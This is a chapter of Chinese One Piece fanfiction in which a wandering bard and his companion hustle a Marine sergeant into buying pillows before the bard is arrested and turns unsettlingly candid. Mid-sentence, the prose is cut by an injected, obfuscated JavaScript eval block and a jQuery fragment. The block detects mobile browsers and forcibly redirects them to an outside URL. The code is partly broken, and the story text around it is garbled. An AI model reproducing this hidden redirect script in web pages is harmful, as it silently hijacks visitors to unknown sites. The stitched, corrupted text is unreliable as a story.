话音刚落,锐利的视线洒向安戈尔,眼神如果有杀伤力简直要把他的肉刮下来,但安戈尔就是一脸疑惑,果然,是惯犯吗?
对安戈尔使用双刀流吧。
“安戈尔哥哥他在床下非常吝啬。”不会吧,人怎么能如此?这家伙还是人吗?
日落果继续说:“睡过一次后,他压根不愿意接受我的枕营业,明明、我都给他打折了!”
你们南海,不,这座岛怎么回事?
安戈尔耸耸肩:“没办法,这对我而言太昂贵,我只能忍痛割爱了,可惜你对我拿出的第一次试用条件了,日落果。”
日落果做鬼脸:“切,坏心眼。”
安戈尔居然在流泪:“没办法,我是两袖青菜的吟游诗人啊。”
已经没有心情纠正“青菜”是“清风”了,什么鳄鱼的眼泪,这已经到了斩杀线!不过,这所岛上真的世俗意义上的人类吗?
“明明我们家的三件套……”日落果居然拿出了床上用品的关键部分,“现在优惠价八千贝利即可到手呢!”
那是一个再平凡不过的枕头。
“这不就是一个普通的枕头吗?”
日落果跺跺脚:“真失礼啊!我们家的枕头可不普通!可以轻松按压,对颈部有专门的支撑,硬要说有什么缺点的话,就是我们南海是工匠之海,用天才科学家贝加庞克的说法,还是太偏向功能性了。”
“所以,我们选择另辟蹊径,站在用户想要睡觉的角度去加深更好的印象,还有更好的共鸣呢,这就是我们巴苔里拉岛的特色,巴苔里拉岛猫肚皮枕。”
狠狠地给了东海来的兵一点商业震撼,哎呀,他怎么好像被痛击了一顿?
“哎呀,不买一个吗?”
安戈尔想着,他说得都是我教的词啊,说得比我还好,鼓励这位海军:“买一套吧,现在只要仅仅一万八千贝利,您就当支持地区特色支柱产业了。”
日落果补充:“此乃善举。”
“不是……”我被作局了?
“不不,像您这么优秀的海军,应该买三套,一份用来守护您的衣橱,一份用来呵护您的睡眠,还有一份为了正义吧。”
神TM地为了正义。
他们一起眨眼:“这位正义的海军先生,您也不想自己偷窥岛上最帅的男青年……”又开始扯自己的衣服,“还有岛上最有潜力的小鲜肉的那档事。”
“初来乍到的您,就这么被上报给改地区支部吧,哈哈,即使您或许是本部将官,这不也完全就是欺男霸女的天降领导吗?”
“不过啊,或许您手腕通天,完全能够压下去呢?您的长官知道了,应该也只会用纤细的手指抚摸您的太阳穴吧,BABY~”
喂,这不完全就是威胁吗?这种威胁,你们觉得对他这个海军本部军曹有效果吗?
“我买了!”咬牙切齿。
还真有!
卡普中将那一拳下去,自己只要是碳基生物,还没来得及讲道理,青天大老爷啊,他就直接去见西天了!
安戈尔泪痕未干,他说这是喜极而泣:“我们终于互相里脊了呢。”
“不是里脊是理解啊,你这个口吐莲花,只有嘴巴说得好听的混蛋。”
安戈尔直视他:“脸也不错吧,您不觉得我的脸部建模很值钱吗?这幅皮囊简直是斯文败类,对吗?”
确实非常值钱,悬赏金整整5亿5000万贝里,要不你背上刺个四皇海贼团纹身,就用你冒充一下,来赔偿他的精神损失费吧。
用斯文败类形容自己,原来他……
“倒也没那么文明。”
“呵。”
安戈尔转头向日落果提议:“……要不,我们劝劝他再买三套吧。”
日落果赞成:“安戈尔大哥,您乃义人也,小弟我膜拜膜拜您。”他不给分成,但供奉了老大最珍贵的*崇高道德的赞许*。
“大可不比。”是不必啊!但无所谓了,无论安戈尔究竟是什么人,哪怕不是人!
克比,我要先你一步了。
初到南海,新官上任三把火,真名为贝鲁梅伯的海军军曹仍未得知,他从容(其实又被气到了)地越过身边的橘红色短发美女(伊斯卡),这位剑气了得的女性应该是南海的赏金猎人吧(其实并不,她甚至是你的上级)。
贝鲁梅伯看着双手玩一般地举在头上的安戈尔,想着这人也就那样:“你被逮捕了。”
此时的贝鲁梅伯意气风发,而距离他因为「重大过失导致机密电话虫遗失并引发全世界信息泄露等相关事件」负责,而被海军开除……
还剩三天!
“他……这样的症状多久了?”
海军成功捕捉了野生的安戈尔。
嫌犯安戈尔被捕时,作为一个“长相酷似通缉犯的倒霉蛋”或者说“游走灰色地带的街溜子”,他的反应还真是令人出乎意料。
特别…坦荡。
一般海贼被捕会怎么样?他们大概会哭喊着“饶命啊!我是冤枉的”,又或嘴很硬地骂骂咧咧,开始辱骂海军,或者难得表现得特别冷静,这种情况谁是上钩的大鱼还不一定呢?倒是那些真有资格自称“高等海贼”的角色,他们横竖就完全不在乎。
而安戈尔的坦荡,完全不同于以上复杂的海贼生态中的任意一种,他就直勾勾地盯着贝鲁梅伯,弄得他戴着墨镜都开始冒冷汗。
“可还有话要说?”
“有话要说!”安戈尔中气十足,看样子他是要反抗了,他却说:“海军管饭不?”
“这人是不是脑
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17489365|202150||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
袋有问题啊?”当然有人会这么说。
原来安戈尔既没嘴硬,也不嘲讽,更非超脱生死,在那些反应之前,安戈尔很简单——
他肚子饿了。
贝鲁梅伯见过被炮弹砸中毫发无伤,只是想着吃肉然后喊着“橡胶橡胶”就好大一拳的恶魔果实能力者,但把那个人架到处刑台上,蒙奇.D.路飞也应该知道自己是要死了。
安戈尔就更奇葩了,好像“作为嫌犯被带上军舰”和“航线搭车客”对他而言,好像没区别。
“咕,我想是有区别的吧。”安戈尔歪歪头,让围着他的枪手们都更紧绷了些。
从一开始,似乎只是一道目光,或者一句不痛不痒的话语而已。最后,会变成怎么样了?
安戈尔突然说了好奇怪的话,有点对不起他表面的人设,他说——
“我从来是一只丑陋的怪物,但姑且借着人类的皮囊讨生活,也在等待某天路过一个高度近视又忘戴眼镜的倒霉蛋,问他「你看我像人还是像怪物」,但无论他说什么,我都想杀了他就是了。”
骗人的家伙,我想为他的谎言而喜悦,但实际上,并没有那样的人出现在我身边。
我活该,安戈尔由衷地想。
“那你杀了多少人了?”贝鲁梅伯问他,那时他从来没想过案情以外的感情。
安戈尔笑了:“那种人怎么样都可以吧,就跟你的双屁股下巴那样,无所谓吧。”
“别那么凶嘛。”安戈尔非常猖狂,面对抵上自己胸膛的剑锋,他扯低领子好让对方再靠近些:“作为海军的你们,为了正义可以扔掉自由、扔掉尊严、扔掉完整性、扔掉爱……
虽然我是无法理解,但是非常欣赏,我是你们的粉丝啊,如果你们把正义也扔掉的话,我们就可以交换戒指了呢。”
伊斯卡露出不赞同的表情,她能分辨得出来,安戈尔说得话语虽然运用了技巧,毕竟是吟游诗人,但从根本上他完全在吐露真心。
或许,比起这样用武装对他严阵以待,更需要的是给他一击巴掌,也就是漫画中所谓的“友谊破颜拳”,可惜,伊斯卡赌不了,因为重要情报显示,安戈尔会运用霸王色霸气。
所以他为什么会拥有那种资质呢?
安戈尔也想知道。
为什么你们能那么轻易冠冕堂皇地放弃为人的资格,还能理所当然地活下去啊!
好羡慕,好嫉恨。
凭什么“我们”那么想要得到,却从来没能得到的东西,就那么容易被你们丢掉了呢?
安戈尔甚至以为自己在流泪,啊…完蛋,又被“妹妹”们的情绪影响到了,但说出去的话是泼出去的水,所以还是先考虑接下来吧?
他不该,至少不该让这些海军们也变成安戈尔的“妹妹”。